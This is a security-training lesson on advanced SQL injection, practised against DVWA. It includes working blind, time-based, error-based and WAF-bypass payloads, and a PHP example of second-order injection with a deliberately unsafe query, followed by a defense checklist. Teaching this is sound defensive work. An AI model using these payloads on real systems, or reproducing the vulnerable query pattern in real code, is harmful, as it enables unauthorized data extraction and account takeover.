Advanced SQL Injection Techniques

#Beyond the Basics — Advanced SQL Injection#link

In the previous lesson, you learned the fundamentals of SQL Injection and practiced basic UNION-based extraction in DVWA's low-security mode. Now we advance to more sophisticated techniques: blind SQL injection, time-based extraction, error-based techniques, and bypassing filters. These are the techniques you will encounter in real-world assessments.

Blind SQL Injection — When You Cannot See Results

In many real-world scenarios, the application does not display the results of your injected query on the page. The query executes, but you do not see the extracted data. This is called blind SQL Injection, and it is actually more common than the visible type you practiced earlier.

With blind SQL injection, you extract data one character at a time by asking the database yes/no questions. For example: "Does the first character of the admin's password hash start with 'a'?" The application's response (different behavior for true vs. false) tells you the answer.

Boolean-Based Blind SQL Injection

Boolean-based blind SQL injection works by injecting a condition that is either true or false, then observing how the application behaves differently in each case. The key is finding two distinct responses that you can differentiate.

-- Inject into User ID field in DVWA (set security to Medium/High)

-- Test: Is the first letter of the database name 'd'?
1' AND SUBSTRING(database(),1,1)='d'#

-- If the user's name appears, the condition is true (database starts with 'd')
-- If nothing appears, the condition is false

-- Test: Is the ASCII value of the first letter greater than 100?
1' AND ASCII(SUBSTRING(database(),1,1))>100#

-- Use binary search to narrow down each character efficiently

This technique is tedious to do manually, which is why we use automation. But understanding the manual process is essential for grasping how the attack works.

Time-Based Blind SQL Injection

When even boolean responses are not distinguishable, you can use time-based techniques. These work by making the database pause (sleep) if a condition is true, then measuring the response time.

-- If the condition is true, the database sleeps for 5 seconds
-- If false, it responds immediately

1' AND IF(SUBSTRING(database(),1,1)='d', SLEEP(5), 0)#

-- In MySQL, BENCHMARK can also be used as an alternative to SLEEP
1' AND IF(ASCII(SUBSTRING(database(),1,1))>100, BENCHMARK(5000000,SHA1('test')), 0)#

Error-Based SQL Injection

Some applications display database error messages. Error-based SQL injection deliberately causes the database to generate errors that contain the extracted data. This is one of the fastest blind techniques when available.

-- MySQL extractvalue() error-based injection
-- The XPath error message includes the extracted data

1' AND extractvalue(1, concat(0x7e, (SELECT database()), 0x7e))#

-- Error output might look like:
-- XPATH syntax error: '~dvwa~'

-- Extract table names via error
1' AND extractvalue(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema='dvwa' LIMIT 0,1), 0x7e))#

Bypassing Input Filters and WAFs

Real-world applications often have input filters or Web Application Firewalls (WAFs) that attempt to block SQL injection. Understanding bypass techniques is essential for thorough security testing.

-- Example: Bypassing a filter that blocks 'UNION' and spaces

-- Original (blocked):
1' UNION SELECT user, password FROM users#

-- Bypass using comments instead of spaces and mixed case:
1'/*!UNION*//**//*!SELECT*//*!user*/,/*!password*//**/FROM/**/users#

-- The /*!...*/ syntax is MySQL-specific and executes the code inside
-- Comments /**/ replace spaces in many filter implementations

Automating with SQLMap

In real-world assessments, you will not manually type every injection payload. SQLMap is the industry-standard open-source tool for automating SQL injection detection and exploitation. It supports all the techniques we have covered and many more.

Second-Order SQL Injection

Second-order SQL injection is an advanced technique where the malicious input is stored safely in the database first, then used unsafely in a later query. The injection happens not when the data is inserted, but when it is retrieved and used.

<?php
// Step 1: Registration - input is safely stored (prepared statement)
$stmt = $db->prepare("INSERT INTO users (username) VALUES (?)");
$stmt->execute([$_POST['username']]);
// Attacker registers with username: admin' --

// Step 2: Password reset - stored value is used unsafely
$username = $db->query("SELECT username FROM users WHERE id = 1")->fetchColumn();
$query = "UPDATE users SET password = 'newpass' WHERE username = '$username'";
// The query becomes: UPDATE users SET password = 'newpass' WHERE username = 'admin' --'
// This updates admin's password!

Comprehensive Defense Strategy

Defending against SQL injection requires multiple layers of protection. No single technique is sufficient on its own.

• ▪Parameterized queries (prepared statements): The primary defense. Use these for every database query.
• ▪ORM frameworks: Tools like SQLAlchemy, Hibernate, or Entity Framework generate parameterized queries automatically.
• ▪Input validation: Validate data types, lengths, and formats. Reject unexpected characters.
• ▪Least privilege: Database accounts used by applications should have minimal permissions (no DROP, no FILE, no administrative access)
• ▪Stored procedures: Can help, but only if they do not contain dynamic SQL internally
• ▪WAF: A Web Application Firewall provides an additional layer but should never be the only defense
• ▪Error handling: Never display database error messages to users. Log them internally instead.